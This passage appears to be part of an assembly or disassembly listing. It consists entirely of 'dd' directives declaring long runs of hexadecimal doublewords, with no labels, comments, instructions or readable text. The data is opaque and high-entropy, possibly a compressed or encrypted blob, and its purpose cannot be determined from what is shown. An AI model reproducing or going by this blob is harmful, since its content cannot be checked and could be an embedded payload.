		dd 7EE599D5h, 2000F6E0h, 745A8503h, 5870B79Bh, 0D86096E9h
		dd 8DE21040h, 0EFE04F0h, 3E4A13Fh, 30414CE7h, 90F4E01Bh
		dd 0A8B40610h, 5852537Ah, 48002C7Fh, 8E4A3C8h, 6628EC9Ah
		dd 0C21451DFh, 331DD900h, 0F5855DC9h, 0EA250043h, 0A315FBD5h
		dd 80F0442Ch, 0A82A6530h, 2F1907h, 726DB356h, 3728DFA9h
		dd 0E92C5B00h, 192088BBh, 0F1902A91h, 7F67789Ch, 2F4E008Fh
		dd 78B14B21h, 2300CE06h, 70B8CB56h, 72C146Ch, 5108B29Ch
		dd 4519D024h, 0C10032E8h, 0C58390B4h, 1C6763Ah,	8BB3F630h
		dd 4052FA1Ch, 685C99D2h, 0EC7E5Ch, 0B3FF2A47h, 1226E97h
		dd 84B6DFA2h, 0D099660Fh, 0B50049F6h, 0A4CCC711h, 3A9C06h
		dd 55AC989h, 680DE3E7h,	0F5305900h, 71D11B95h, 510B006Dh
		dd 20C9A773h, 2200BFACh, 5DFA612Bh, 367772h, 768C55D8h
		dd 3914FF3Dh, 5101EAB8h, 0BC53BA59h, 28701136h,	0F93B00A0h
		dd 0B68E9B4h, 0FC004375h, 0E39D7A0Eh, 0CD0A14Dh, 295814CAh
		dd 0F220A871h, 0FA070021h
		dd 3CB2B353h, 0F80534B8h, 0CD4B9E8h, 0E0C01484h, 4D739Ah
		dd 0B2C0BB04h, 0A8012B25h, 67223F1Eh, 0DE07A868h, 27B1E50Eh
		dd 601CC6h, 645FFCBFh, 196BDC83h, 3C0BB300h, 0D118B202h
		dd 1A383009h, 0F8D6D3F0h, 0A06E2A02h, 0B7A210D4h, 83080204h
		dd 366D8Dh, 0D470928Bh,	5D6E2B68h, 16B9F110h, 4A816580h
		dd 0D42CB4F5h, 8C18BC49h, 0BD1BC139h, 0AD38478Ch, 1C18A0F7h
		dd 0CF00747Ch, 0B3DD1334h, 626061CDh, 6D80D13Dh, 0EEF5500Dh
		dd 6C7B3186h, 3483996Eh, 70917918h, 0A06E0D18h,	6389341Ch
		dd 75C9498Dh, 509BD3FAh, 334E045h, 2968DC60h, 91C00410h
		dd 190425F8h, 814B754Ah, 6AC99858h, 0A4D29609h,	0C5C141Ch
		dd 33AB463h, 180CEA2Ah,	10F634E9h, 4CA18F18h, 0ED409488h
		dd 3811DA24h, 157550h, 38B06C27h, 5B766F77h, 0A7503CECh
		dd 2E0F0770h, 0F193A1Ch, 81D6062Ch, 421D008h, 3C45F0EBh
		dd 0E010C4B5h, 0D0B08913h, 4000C788h, 7BCB61AEh, 0C2E79D5h
		dd 8906BF17h, 9B03E141h, 8CD2A6E2h, 868B6Ah, 3B5D1F18h
		dd 0B1CB6F3Dh, 0DC247492h, 0F2861891h, 1D49D689h, 771F39h
		dd 0F81445FEh, 7012CCC1h, 9C12A9C0h, 3DA53000h,	783B350Bh
		dd 94770050h, 53F5C47Dh, 0E1002B18h, 0E011969h,	0F6324C4Dh
		dd 326009Dh, 147F468Fh,	601F3164h, 0D0803670h, 123B3971h
		dd 46760110h, 7CE38273h, 3E80EC50h, 13D660C0h, 0C0CA660Bh
		dd 4416F108h, 6103640Ch, 0CFDD5C62h, 8481889h, 3215083Bh
		dd 44EBE600h, 0C77A6109h, 0F1540056h, 392321DCh, 4E01EE4Ah
		dd 9D8E064Fh, 8080CCB8h, 604D8285h, 0D9D6E87Ah,	0FCD9B5A0h
		dd 2A8406BCh, 0E97F7909h, 8BF3F23Bh, 603506Bh, 892947h
		dd 404F5C4Eh, 567B0E2Ah, 0BB38D4A0h, 880CEAF2h,	28D0B497h
		dd 3684E2ECh, 0C0682456h, 3237A907h, 0D9909B9Dh, 3E51661Bh
		dd 58FAFCCh, 85633911h,	69664456h, 0FE088BE1h, 50FD00DCh
		dd 5118E715h, 7700F4DBh, 0CC4E408Eh, 1823ABB3h,	58A30346h
		dd 0D21FE351h, 6540C073h, 617A98EDh, 0A2C5005Bh, 0A6814AA7h
		dd 0D103D0B8h, 6A9603EBh, 9BFE907Eh, 0DCE803FBh, 8AA6C541h
		dd 8F5312C0h, 348CC000h, 5448B68Dh, 0B90803DCh,	4BA0279Ah
		dd 0F653DC0h, 0E58FD401h, 0E60AC218h, 1DC53D0h,	0FCC77BE3h
		dd 80E12A6Fh, 200F4E21h, 0C2D01Ch, 0BEA34BD3h, 3189373Ch
		dd 534C561Fh, 0E3BCFB97h, 79809C3Fh, 60D20EC3h,	2B00A286h
		dd 10E35B57h, 1B08D653h, 588C85BFh, 490CB398h, 0BD68CB06h
		dd 0FD097C5h, 244873CCh, 8CDA839Dh, 0FC06A63h, 64674593h
		dd 797057D8h, 33533Dh, 0E377568h, 0B20A91BDh, 1C2C01Dh
		dd 0DD620620h, 0C8E85235h, 8A4A7905h, 90011155h, 0B6342565h
		dd 56B843h, 7B92D3E9h, 0B086F811h, 77281660h, 59CE982h
		dd 6EA7DA4h, 0D08C2883h, 0D3DD0801h, 3DC98CCDh,	2003B703h
		dd 29DB253h, 983001BFh,	0CC29D516h, 88A6CB8Ch, 79500F14h
		dd 0B0350CE0h, 0A01E2854h, 281CF288h, 44C8C69h,	85F80DC6h
		dd 63C058D8h, 34F0CC8Ch, 0B000F891h, 0FB6A8DF9h, 0FA0B750Dh
		dd 5B7100ABh, 53EB040Ch, 41DBD38Ah, 2188D8A8h, 6DB824C9h
		dd 62ACA000h, 17992842h, 94A5D2Eh, 4A013CC0h, 0D62DD67h
		dd 0D358A1E2h, 0F7D01A84h, 482052BFh, 0C398C905h, 5BF000C1h
		dd 9E03102Eh, 428DAB1Ch, 9600219Dh, 0C48C07Ah, 0C4630041h
		dd 6D62DC2Bh, 9F005A03h, 9BEA3A0Eh, 2A875896h, 2946BA9h
		dd 0F7DAF093h, 0F8A00592h, 0C6335B39h, 68DF8C28h, 0E16F5014h
		dd 40CB3AB0h, 4B9706C7h, 0A93F1B9Fh, 6D00B6F4h,	0AFECCB4Ah
		dd 0EB92B8Dh, 0F173746Ah, 0B15B7060h, 533C2FA0h, 0F813B183h
		dd 14200AFDh, 6511402Bh, 8C5B7301h, 769DE5FAh, 7FB90024h
		dd 1BD47F22h, 70F2EB0Eh, 0B512680Fh, 9E8C1D42h,	19B7845h
		dd 0E48A28E7h, 0A8694DCCh, 3C7CC841h, 258CA90Ch, 0ED10F2h
		dd 4CFEF3F0h, 163D655Ch, 2CC86850h, 9F549600h, 0B7C10F5Ah
		dd 0F0580E59h, 87C0608Ch, 0F208B48Ah, 0EB12961h, 9C400C0Dh
		dd 24E1B0F0h, 5650F7h, 8E3E4AEAh, 1C6031FCh, 9D95EB8h
		dd 0AAB0C98h, 0EE28F966h, 89D01084h, 0D3221148h, 0FAC5DE08h
		dd 4586EA10h, 62251E0h,	0C21EE4B5h, 48B19629h, 49E8CE01h
		dd 1B6AA01h, 0B8D3FBB4h, 0FC8177h, 33F5FF9h, 0EF8C6B42h
		dd 0C43AEC00h, 85367CDh, 857D3FFAh, 54305007h, 0FF74A348h
		dd 0D772DAA8h, 84B0F6F6h, 87705B0Fh, 3D6E6025h,	0FA5B792h
		dd 86062A34h, 81C08200h, 5E0022B0h, 0F47899E1h,	0ADC267h
		dd 11E8AC1Eh, 24C8CFF9h, 8ABBB10Fh, 898418Bh, 1081CCC9h
		dd 3FE1105Ah, 7CCEF053h, 34C59B24h, 1A3E82BCh, 405ABC87h
		dd 6E0CAFh, 5F6C64D9h, 0A5C483C7h, 0B364E03h, 0E830B1EEh
		dd 0F7C01BFh, 0D6688BA3h, 3E33EA40h, 3500F251h,	412ACFB8h
		dd 24ACA7EBh, 70A4F4h, 0A333B3C1h, 0C007BAFh, 3DABA571h
		dd 2A256Eh, 4CD740F2h, 61E46678h, 94699900h, 0F52D3530h
		dd 58D405CFh, 80D7AE41h, 76DB5DC4h, 18AC633Ch, 2DE889DCh
		dd 20ED00D9h, 7E64E4BFh, 323C1C33h, 42E3009Fh, 3481D367h
		dd 9C75001Fh, 417C6F01h, 0FA01B151h, 0ACCB12FBh, 8E04CD5h
		dd 0F5BA0689h, 5A73B642h, 0C5297607h, 9F70B96Bh, 0F4C77FAh
		dd 7A9D6CDAh, 8A04A9C0h, 0DC00E03Bh, 77B714DBh,	1D9B1CD6h
		dd 74D6A64h, 50BDF637h,	57DE4EF2h, 3B612309h, 6A80F524h
		dd 30B4652Ch, 0E4003873h, 29279794h, 9A80E7FEh,	0BB63000Ch
		dd 0EC23432Eh, 54005BB3h, 205FE957h, 9660EACh, 3C3EE7A0h
		dd 8ABED80h, 8D02532Dh,	0B957AA04h, 0FEB16072h,	298C00B8h
		dd 0E225D0E3h, 18138796h, 680FEF9Ah, 0E0A2607Ah, 0E4F94A89h
		dd 177F0095h, 0E5EEBC93h, 0AC07C2A3h, 83C6FADBh, 320C3140h
		dd 0B67AEFh, 571FCD72h,	2A487825h, 8D46C100h, 9755F9Dh
		dd 21E22828h, 8EF304ECh, 8B3C47B6h, 6DB40034h, 3FB11E3Ah
		dd 7D340044h, 18D460E5h, 9D0065AFh, 0C4F50B1Fh,	3E83AAD2h
		dd 2D009BFCh, 91FB2EDAh, 0AD00C794h, 0B9CF405Eh, 770F104h
		dd 12B415BAh, 662D4131h, 0DCBA31BFh, 1700E2F5h,	56B9EC47h
		dd 197F60A3h, 7AD568F6h, 137BE869h, 14AE4D05h, 25C0A54Ah
		dd 9D4583h, 0EFE91235h,	24BCD01Bh, 0C56A8E00h, 4E010463h
		dd 0E75B07D6h, 0C088B4EDh, 0FC45E967h, 34DD939h, 0E0499250h
		dd 4B35B9F6h, 7AA71883h, 5CA07F56h, 0DC014087h,	0DA93E334h
		dd 0FED0455Ah, 8EE100CAh, 3AEB2C03h, 0C70BF6A0h, 9443507h
		dd 4118143h, 0F3DCE428h, 0E2F0BBh, 0B327E824h, 0B19518C9h
		dd 3922D300h, 0FAAB1475h, 0BD9E1812h, 7D161262h, 0FC02C400h
		dd 3DA9680Dh, 0CF651F09h, 990FC0E7h, 114F625Dh,	6D6BD900h
		dd 0D88A2138h, 0DE5B021Ah, 54B99585h, 519D9481h, 85E8099h
		dd 17920269h, 0D8CF0096h, 5888B630h, 78005CF9h,	0D04E659Eh
		dd 79C507h, 3763D2E9h, 5E760FBBh, 5000CEFEh, 0EDF56499h
		dd 7E142Ch, 1307F2FDh, 0DB17B344h, 0C4436702h, 60D45237h
		dd 0AA778CFh, 0EE1FC566h, 0DA220BB0h, 0F34807F5h, 970B870Eh
		dd 0EA9134A1h, 9BC22080h, 1CB0181Bh, 13846301h,	0FCEFBFF4h
		dd 484EE4h, 99F8A327h, 0CC059AA6h, 3841EC30h, 0F6A88743h
		dd 837F588Fh, 0B5E20E00h, 0A5C8AC81h, 0D9BEC300h, 0F96C9602h
		dd 10C761CCh, 0C9E25229h, 60DFC3B1h, 38D3B5FBh,	0FEE87000h
		dd 0EE13C6ECh, 0FE25739Ah
		dd 80CF014Ah, 3F3705ADh, 0CD6230BBh, 0E1A52F07h, 0EE80BA56h
		dd 383BDDD1h, 0F3C3B1h,	0F1A682B7h, 67EA2824h, 924A4B0Eh
		dd 80108BA0h, 0AEDC0146h, 55D400E1h, 6B321153h,	280016A3h
		dd 0ABF462DAh, 13C8CE4h, 0B35BAADFh, 0E3337D95h, 7AA1A7B8h
		dd 1D00FAFAh, 84CCAD09h, 0BABF82h, 5B0788A3h, 6A9EE223h
		dd 3D87EE00h, 0B202651h, 0ABD6C783h, 0D700DE2Ch, 3C9FB78Eh
		dd 0F76043Bh, 20CD239Bh, 5D801895h, 0A6B53BF5h,	0A91AA80h
		dd 7CB12D97h, 0C8BC48h,	0CD8670D3h, 7F61280h, 2A179114h
		dd 0AAD7F1E1h, 1618E845h, 8CFE5900h, 5E42615h, 1F767117h
		dd 1E4A2571h, 0B9E740EFh, 0FDC31CA3h, 106BBD03h, 0CF21886Dh
		dd 0EE01A520h, 7FA61DFCh, 387BC3D4h, 589A8082h,	3C088C40h
		dd 598B9307h, 9BF0C573h, 0BBDCB9h, 178AD420h, 0DA05FF3Dh
		dd 0B009F7Dh, 40D2A5CCh, 0BDCB6Fh, 0E5918904h, 2B804259h
		dd 29EFA400h, 0CC526C13h, 456B03C8h, 0EDE15074h, 0F9180F98h
		dd 9690FB00h, 98873BA2h, 0B910C0F8h, 1F66A3AFh,	0B39EC300h
		dd 0A27EBDE8h, 78BA07FFh, 6046F884h, 9261A768h,	874E7C00h
		dd 0D9CF26Fh, 0A21B0080h, 346D1AF0h, 330070FCh,	7B01D306h
		dd 1688B8DDh, 2F3E32h, 0D1097F49h, 0F4005092h, 0C304AF3Ah
		dd 1DB4A41Ch, 445CA6h, 37F75FF5h, 549A98BEh, 0A018010Bh
		dd 9D078070h, 8CEDAEh, 0F1881CDFh, 1AE45F60h, 54028EA0h
		dd 9CC8F400h, 515E4163h, 0EC68006Eh, 0EAC28F7Dh, 0D207E169h
		dd 0A48142C9h, 12D5DEA0h, 1E6C028Ch, 0E0E58682h, 3BF1E5C0h
		dd 0F096573Bh, 3FF08900h, 0FDBDA7D7h, 657024F5h, 92F302A5h
		dd 0F069802Dh, 244671C8h, 0D90499F0h, 41DE60DAh, 4101CC0h
		dd 32C439F6h, 6F34BB80h, 98FA025h, 0FE71620Fh, 156C203Ah
		dd 26F18B84h, 38ACA3CFh, 3983DD80h, 37EF4EE5h, 0F3FAB600h
		dd 630F523Bh, 28690059h, 0B90A1953h, 0B00B106h,	727C1FFEh
		dd 1FC2EEE5h, 8030A7A5h, 1EB23F6Eh, 0D7078539h,	0B3BE213Bh
		dd 0C6EA6B22h, 0E17248h, 5C0E20D0h, 6BAFB3C3h, 223F300h
		dd 9F018606h, 0E3C90EABh, 1EA0D3EAh, 0D5121E8h,	0AE4BA00h
		dd 0DECE4718h, 0BF570043h, 0C660BC56h, 10076DD1h, 3C061F59h
		dd 123D5C60h, 66D70095h, 0C4467211h, 23070242h,	0B455B13Ah
		dd 0D24750A1h, 0F2CAEE20h, 4A9103D5h, 770ED934h, 5F75E2D0h
		dd 0A84E4F24h, 91E004BCh, 6CC065B9h, 902A3450h,	4CCB0080h
		dd 0B3C8C33Ah, 4202E43Fh, 0F6FE3BF2h, 71DCC897h, 30950058h
		dd 0B3A219DBh, 54E8B0F0h, 1F0C9958h, 0AE8056DCh, 877E3FC8h
		dd 0E532038Dh, 0E9F57A08h, 0AB9154B0h, 3F260F1Eh, 0CD880B40h
		dd 1075F92h, 71E70204h,	0D0968EB8h, 3B00D486h, 237A466Ch
		dd 0AEC1EBh, 0C24CA695h, 222DC8C6h, 480098E2h, 2B92E7F2h
		dd 130CDEA0h, 38CB53Ch,	420F12B8h, 686ACC0h, 0A84FF900h
		dd 601891DDh, 723090C0h, 489F7567h, 0A700F980h,	0B7FD7095h
		dd 29006610h, 0D61CCF8Dh, 82D9E1h, 0D5037C48h, 64F73623h
		dd 30DD7500h, 0E57F3FCAh, 0BB1B0005h, 60F9764Dh, 0BE009842h
		dd 95ECC5D7h, 74AF08Ch,	0B5725D43h, 0EF2952C8h,	5B3268C8h
		dd 8028033Ah, 279F67A3h, 3C79026Ch, 4CF08F61h, 0A812DAD5h
		dd 8700FBFFh, 5204D95Dh, 7997901Ch, 0F842072Ah,	10C651AAh
		dd 0F62E98C7h, 5DF26C98h, 0EC55AD2Ah, 0AC003D71h, 578AA72h
		dd 4813D4h, 38BAECA7h, 278DB6CAh, 6BD2DA03h, 0A07BA163h
		dd 5B3D59h, 61EA2E5Fh, 6EC14D9Ah, 2BBC300h, 0E98FDBF4h
		dd 0C012013Fh, 0B29BFF13h, 0F040F288h, 0FA004765h, 11390AB6h
		dd 7B2D8D43h, 0FFFC004Ch, 66F24B3Bh, 44902E17h,	24D33100h
		dd 62BE9EBh, 0CF380F33h, 0C3409C2Fh, 0DB5EA73h,	0B44B8C1Eh
		dd 5686EE43h, 0A480A526h, 12C253E6h, 0F7C38C8h,	85C0225Ch
		dd 4E6DCA0Ah, 0A793F200h, 0C3E1ECD9h, 0BC48C43Eh, 0D3508Dh
		dd 172B6A26h, 2666D11h,	797F28ADh, 0EC8046A8h, 0D76A1074h
		dd 999B132Eh, 26858801h, 0AC997FDh, 0CFF120h, 0A2309FDDh
		dd 0DE66253h, 0F0B19E18h, 719060h, 0C13C280Ah, 37D1E017h
		dd 0F259563Ah, 0F6D50900h, 0DA1486CAh, 0DE0C002Fh, 85904930h
		dd 0CE00A08Bh, 4C04BE33h, 0DFEE2Ch, 0A281AC19h,	0DED19332h
		dd 2AE8848h, 69F0FDA8h,	65286033h, 1048048Dh, 9053D54Ah
		dd 6FB208F0h, 84E85E00h, 0B524A003h, 449024Eh, 0D6D11AB8h
		dd 94545C60h, 3B5C3100h, 6C2E01BBh, 13A4002Fh, 0C5807AB4h
		dd 0BC00DCD8h, 0E5123C39h, 73E9367h, 6408F258h,	0C00235D0h
		dd 0CA8548BCh, 4DFB1100h, 9A1C0EE8h, 0DD7E69h, 0BA758AA5h
		dd 0F32C3DCh, 5DAA4902h, 0CA9F39C0h, 6B16C100h,	7A43F8h
		dd 92530E01h, 51E15676h, 86BBB701h, 642DD022h, 0A4BF4880h
		dd 0ADA63963h, 88695480h, 800ACD1h, 48BB7059h, 125626h
		dd 0A8DA4EF9h, 0BED8C8A1h, 5400C098h, 0BB9EB35Ah, 9C2C6Ah
		dd 874D4746h, 5CC7EE60h, 30D8D600h, 3736D482h, 4E730048h
		dd 0E0C8B68h, 434BEE51h, 28AD5C0Ch, 12EC3Ch, 70C1A5FBh
		dd 89F355BAh, 7B877400h, 9CED5A92h, 3B9600E3h, 13969DAh
		dd 0A200F20Dh, 88044B93h, 276A0B3h, 0B9FF318Ah,	2040E3C0h
		dd 0F8094471h, 80494DDFh, 34D5E4B0h, 0B827079Dh, 8129385Fh
		dd 0EC741076h, 0A300CA08h, 9865C93Bh, 39FBE4D6h, 67023616h
		dd 7C2C8EDEh, 8835F640h, 87A50900h, 0CF0B2752h,	0FD280279h
		dd 965C2CC7h, 0CBB880E8h, 29B7AE00h, 108BBD59h,	87C10172h
		dd 95B9137Ah, 25EDF89Bh, 0DAFCC750h, 570C4001h,	6A55AA9Eh
		dd 5EF08C61h, 80A503C1h, 260395A3h, 88D3FE88h, 0D8BA1D00h
		dd 0E094608Ch, 2585184Eh, 43D648CDh, 5162470Eh,	0E025E5Bh
		dd 0C0DC1DDDh, 0A6F171h, 7504F2F9h, 4F7133B3h, 6338E97Bh
		dd 27149284h, 0DF917800h, 0C075E890h, 0D672FD40h, 60029DB0h
		dd 91C3703Ah, 8D204065h, 219EC96h, 399484CAh, 7B4272E3h
		dd 0BFB1ABC0h, 0DBAD0B0Eh, 7DD0C4C3h, 41242C80h, 58420028h
		dd 0A5FAEAB7h, 0E10751FEh, 57166BBDh, 2EF6CD70h, 0FB62008Dh
		dd 0B45F4B3Ch, 35582A0Fh, 0D4231F84h, 888FF8DEh, 0F619A060h
		dd 0DF472h, 0F6A32E0h, 0E892AAF1h, 0C010FC01h, 9ED5B5B8h
		dd 8AF0C883h, 0ED8BE2Dh, 15076429h, 3C4A8CAh, 22447570h
		dd 0BA9C00BCh, 0E678CB71h, 680018E0h, 12D7C86Ah, 77A226Ch
		dd 0CF90F663h, 431EA077h, 1C39C1E9h, 0ACD48002h, 0A5C44C36h
		dd 831A02BAh, 3308F927h, 766D55C0h, 2193Ah, 0CA4575F2h
		dd 0F4C9AD26h, 1C35002Fh, 0EF80A029h, 0A6094C24h, 4BAEA165h
		dd 0A306D3B8h, 553807F1h, 2EF46191h, 48809DCFh,	0B4A8F070h
		dd 53661B00h, 4ADF448Ah, 681501E7h, 61657838h, 86B870C5h
		dd 5BC11200h, 10AD5FDEh, 7570C256h, 0EC807F8Fh,	6EAFDFA0h
		dd 0FB1A3324h, 89015C2Ch, 1465FFC1h, 5B7AEC50h,	0C9D4240Eh
		dd 50A400D0h, 0DF5EFA45h, 0BD85CB07h, 414F242Fh, 8DACF46Dh
		dd 0A51CBC40h, 4F68002Ah, 0BA760F33h, 980018EBh, 66B31347h
		dd 9AE870BFh, 77A300B4h, 71C1ECAAh, 150098F5h, 33D874Fh
		dd 3DD9D50Fh, 7E00CF3Ah, 58692984h, 0C4009EC7h,	62639DAEh
		dd 2B74A9h, 34E3CBECh, 47A4B3A6h, 5118B700h, 0D0EE9221h
		dd 463A07D3h, 70814F55h, 67875E8Bh, 1A3FF300h, 440BC814h
		dd 99410072h, 550324EEh, 0D7E2F81h, 16A63500h, 3B175D53h
		dd 127E8Ah, 198CFC1Ah
		dd 506D7997h, 242A7E00h, 105FB373h, 7C3D0111h, 6B9FDC29h
		dd 70BC20F7h, 12D4C48h,	0D17B6D33h, 0F5F8169Dh,	19130058h
		dd 0AA1B9CDEh, 0D3D04F3h, 0C823805Ch, 0D8CCC655h, 40180039h
		dd 32567211h, 0CE00CBDBh, 3D068208h, 34DF74h, 36691D01h
		dd 9CD35DCCh, 0D955CE00h, 188C7344h, 0C3FF027Eh, 67BF1F4Eh
		dd 1DD4ED40h, 46F9391Dh, 1089E980h, 9E7D34h, 3E7EBD6Bh
		dd 0CA3DF8AFh, 78B97039h, 6F9C3Bh, 42DC658Dh, 3BCB8B0h
		dd 15DF1133h, 6EBBF11Fh, 8CC57AD0h, 47148D00h, 48B41EBFh
		dd 1FAD17C6h, 0D436E0E2h, 8E192A00h, 22B53011h,	0E5711EB0h
		dd 0B7023D8Dh, 0D0E18468h, 0E30C8A80h, 640099A9h, 0D20D8C60h
		dd 6D3A97h, 4C2A2CC8h, 8DF9EB16h, 7B7DCA00h, 3A3B76E0h
		dd 510A0E0Ch, 524FD1D2h, 8944CD20h, 0EB00FEFFh,	9E2CBB2Ah
		dd 1DFADC31h, 40D1DD08h, 0C26582CBh, 3B0046C5h,	76BDFFBAh
		dd 8FB82Ah, 0F771C9D1h,	4F915BE6h, 0FFFEB200h, 0AEBC7841h
		dd 6676ABh, 726EBDFBh, 6C1036F2h, 0BB03B6F6h, 0F4D943DDh
		dd 0AB04EB87h, 7375A0B1h, 0E9973A59h, 0CC005EDCh, 93AACF33h
		dd 6D00D6F1h, 245BD946h, 12811277h, 8A0E6Eh, 29426A28h
		dd 0BB07FEDFh, 0E1673F85h, 1FFCA210h, 0F1AD0061h, 36BFCC66h
		dd 0A8004243h, 514A742Bh, 0CF14B3h, 5BEC4CB8h, 0D3493A7Ch
		dd 1E53103Ah, 0B741F5F7h, 561A7FCFh, 605E76E0h,	49521015h
		dd 0B93D32F4h, 841474CCh, 0BB773Ah, 11D29661h, 0DB0ED88h
		dd 0AC7E8E8Ah, 6F4DF011h, 0DED4CB00h, 0C9B75B72h, 10F40033h
		dd 95F16EDAh, 0BB009AC7h, 0ACA9824Ah, 0AE692F9h, 0E9DD6557h
		dd 4FA83F18h, 0BF40005Ch, 0F89AD1BBh, 43263CBAh, 93006377h
		dd 9D6D519Ch, 65840191h, 0A3E38197h, 0DDAFC0CFh, 0FEBD2002h
		dd 60412967h, 3BD4058Eh, 1B8944E3h, 5980AFC6h, 646EAEF1h
		dd 0B183100h, 8D59E84h,	0E30200D0h, 0F686DC0Ah,	4E77C06Bh
		dd 140B7801h, 59046E3Ch, 1C33E5ECh, 1CA4E64Ch, 0A8203AAh
		dd 86005397h, 0B85B4DC9h, 54198Ah, 378B4E3Ah, 1D17DF62h
		dd 0F900D378h, 94671A61h, 9C3072h, 0D0BA4BDBh, 0F4FB5C3Dh
		dd 8011C738h, 0AF7F6382h, 557B03Ah, 0E6205121h,	948C1062h
		dd 1DD0FF13h, 5CFC4355h, 10F8228Ch, 0FE3B1757h,	480BA14h
		dd 0C0E345CEh, 0E865E7A0h, 0F0CF0366h, 0F5D060D9h, 9711C0B4h
		dd 680C2840h, 60E96371h, 5D8F0361h, 9DD901CBh, 0D238C4F0h
		dd 3DBEF901h, 67D3DF35h, 4265C040h, 28CC629Ah, 0EF222DF1h
		dd 639F22BCh, 24E9AB22h, 0B20921F5h, 11843B11h,	79882B22h
		dd 97882A69h, 622788A1h, 9EC08B88h, 5300E02Dh, 69125F3Ah
		dd 18C163h, 357A40B6h, 0F6EB9329h, 0D003C91Dh, 0AF01A85Eh
		dd 0D6C983Bh, 0D342ECh,	4271E87h, 0BD38D699h, 12F15904h
		dd 6CC0ECE6h, 9C0814h, 0B9F8EB42h, 86FD6C66h, 5300A8F8h
		dd 755F51CFh, 399BFAA0h, 3B87DA1Fh, 3EB8F629h, 8EEE1E00h
		dd 861E07C0h, 0D5C067B6h, 59B197BDh, 60D703E8h,	0DA7E93E0h
		dd 0F476BCA8h, 1E1D047Ch, 5003A5Eh, 2C6A0A5Fh, 9FF200AAh
		dd 74CD67EAh, 201A3C2h,	0B7E9F8E6h, 0E56068A2h,	83E264h
		dd 75DB5A4h, 2A75D213h,	5B29A00Ah, 5A03ECC5h, 7F1EDBh
		dd 76F5D4C0h, 3A4566FEh, 951D097Ah, 564059DFh, 8A7394B4h
		dd 706739B8h, 97779D00h, 49769AACh, 0D923700h, 38E2FF8Dh
		dd 0DB4800EAh, 3C9D4DE8h, 7F00FB53h, 944CFAF8h,	1EACB6h
		dd 0BB4ABFC9h, 0AE22BC73h, 49005F7Ah, 0E3556542h, 9DB1E5h
		dd 722F36CDh, 0ABF4C0C1h, 953EBC1Dh, 9F813B00h,	2C87C3h
		dd 842D2BCBh, 0E6E77241h, 0D4E14700h, 0B66CF3FBh, 344F00CDh
		dd 83F5363Fh, 3904B382h, 0FAB45D1Fh, 0C8188C80h, 0A18B00A2h
		dd 0CB7AA690h, 25067293h, 0F52391D9h, 0DCC20011h, 427B8A3Eh
		dd 0C100246Ch, 0ACE37D47h, 1D864999h, 807C9Bh, 6F848981h
		dd 526063B8h, 2786478h,	0C06200E8h, 0AC359288h,	1E7FA532h
		dd 0CEB7B107h, 0C2C06896h, 0C6655BAh, 8CC49915h, 0AC002298h
		dd 0E79C625Ch, 0F8FBECh, 0DC253D34h, 0B61CF7FDh, 4003B74h
		dd 0A96D9F41h, 0F48FA0h, 99A5BA0Fh, 0A25C528Eh,	1A9BD600h
		dd 24E2B380h, 768D00C9h, 2633FA84h, 0A40016A0h,	8B7FB018h
		dd 987D4h, 95B20FBFh, 0AC9D8937h, 0C938FD00h, 967D76D0h
		dd 6D4F1F02h, 0F34B8023h, 0BC844E56h, 0B36C2100h, 0E5F4F85Bh
		dd 0F9AD0098h, 0D5A746A8h, 2700CBFEh, 0F0C483D4h, 3F956257h
		dd 4203EB65h, 0DA4D70A6h, 8EF180ECh, 0AB007309h, 8CDB6A5Eh
		dd 77980BFh, 171A5942h,	71C380D2h, 0C81F4BD7h, 0D88018E2h
		dd 457374A6h, 5CC000Bh,	7DA3C54Ah, 8F39D91Ch, 0ED4B0582h
		dd 0E4475922h, 95E70E89h, 7969C790h, 5F19C0A1h,	75990538h
		dd 7D14139h, 159EDF47h,	6F7EE7F0h, 0F786017Ah, 6AB23F32h
		dd 0E2E85803h, 0D8FB0228h, 371A9E0Fh, 1CBB801Dh, 16E6455h
		dd 0EA123239h, 0F0D9DEB7h, 6A3051D8h, 7BAF3088h, 5D0D009Bh
		dd 0F275B5A2h, 74072284h, 14DF5309h, 206CC7DFh,	0AC3F5540h
		dd 4FF005Bh, 39F6802Eh,	9206F8FEh, 70FD65CEh, 51F90050h
		dd 0E03CB927h, 8100B160h, 0AFAAA7EEh, 3B73A58Dh, 0A28F4595h
		dd 0C4A09DD8h, 0F3802A26h, 0DB75D718h, 0BCD6306h, 98867B59h
		dd 3A44C480h, 0DC1FFC27h, 0B9C0F05Bh, 0D4F85B2h, 37E4011Eh
		dd 0F1301C6Fh, 0D01B6127h, 31002D02h, 4B8CFD1Ah, 32B817h
		dd 6C3F3714h, 44882C63h, 55825300h, 0CD0CD949h,	5A750025h
		dd 0D5A1D328h, 7200A762h, 107B5664h, 5D9646h, 0F234A4ACh
		dd 42F6DBBAh, 1BEF4A07h, 9544932Fh, 9D491080h, 0E6905A6h
		dd 33E4B2h, 0DB966CF0h,	0D407585Fh, 0E9EF0602h,	41B72132h
		dd 0CAF835A4h, 0ACD50011h, 68FCB6EDh, 1E070C97h, 42DF82B5h
		dd 3B9E4A80h, 0E84B5830h, 7C4F0376h, 0D767E9B4h, 9FFD11F0h
		dd 5A7E9600h, 30022FB6h, 66950087h, 1C683C28h, 0FF00A1E3h
		dd 8B330D93h, 341E5h, 99F7FBE7h, 205EE895h, 0E1E3BC05h
		dd 920007E0h, 0FA8E776h, 0CFE39B1h, 0EF6F7h, 8EFD8135h
		dd 137114B5h, 5BF63Ah, 0FCB28207h, 8D4BCh, 3FC76E76h, 0A36DEE54h
		dd 4DF08A00h, 82D7B1FBh, 0EAD0073h, 753F6F94h, 4300ECBCh
		dd 5A991149h, 3848D8CDh, 67001480h, 197708D9h, 0B8C09C8Bh
		dd 0BFD18C3Fh, 893200CCh, 28FDF7CFh, 6960D62Ah,	31541B20h
		dd 0A69700C7h, 0EB3CB04Bh, 0C12F670h, 1800F5D1h, 10F8CCC4h
		dd 43E00020h, 4AAB9346h, 0CB009CD8h, 0AAD287F3h, 418C98h
		dd 712076CCh, 6B1A9D0Eh, 441CBC30h, 2029548h, 0EB5CD329h
		dd 0DF403AC0h, 0BF02DD67h, 161D26Eh, 310440F9h,	71A900E8h
		dd 5E4915D9h, 0F200EC10h, 0CF340611h, 217D02h, 4CBE62Dh
		dd 55480F69h, 0CD5B4C00h, 0F6CC1BC6h, 779F0B4Eh, 380AAB7h
		dd 677C8F34h, 9AA1CCF1h, 6068C000h, 99FA22E1h, 1797A046h
		dd 7E8EEA4h, 827809ACh,	0E85AB44Fh, 57D40FE8h, 0EF011F76h
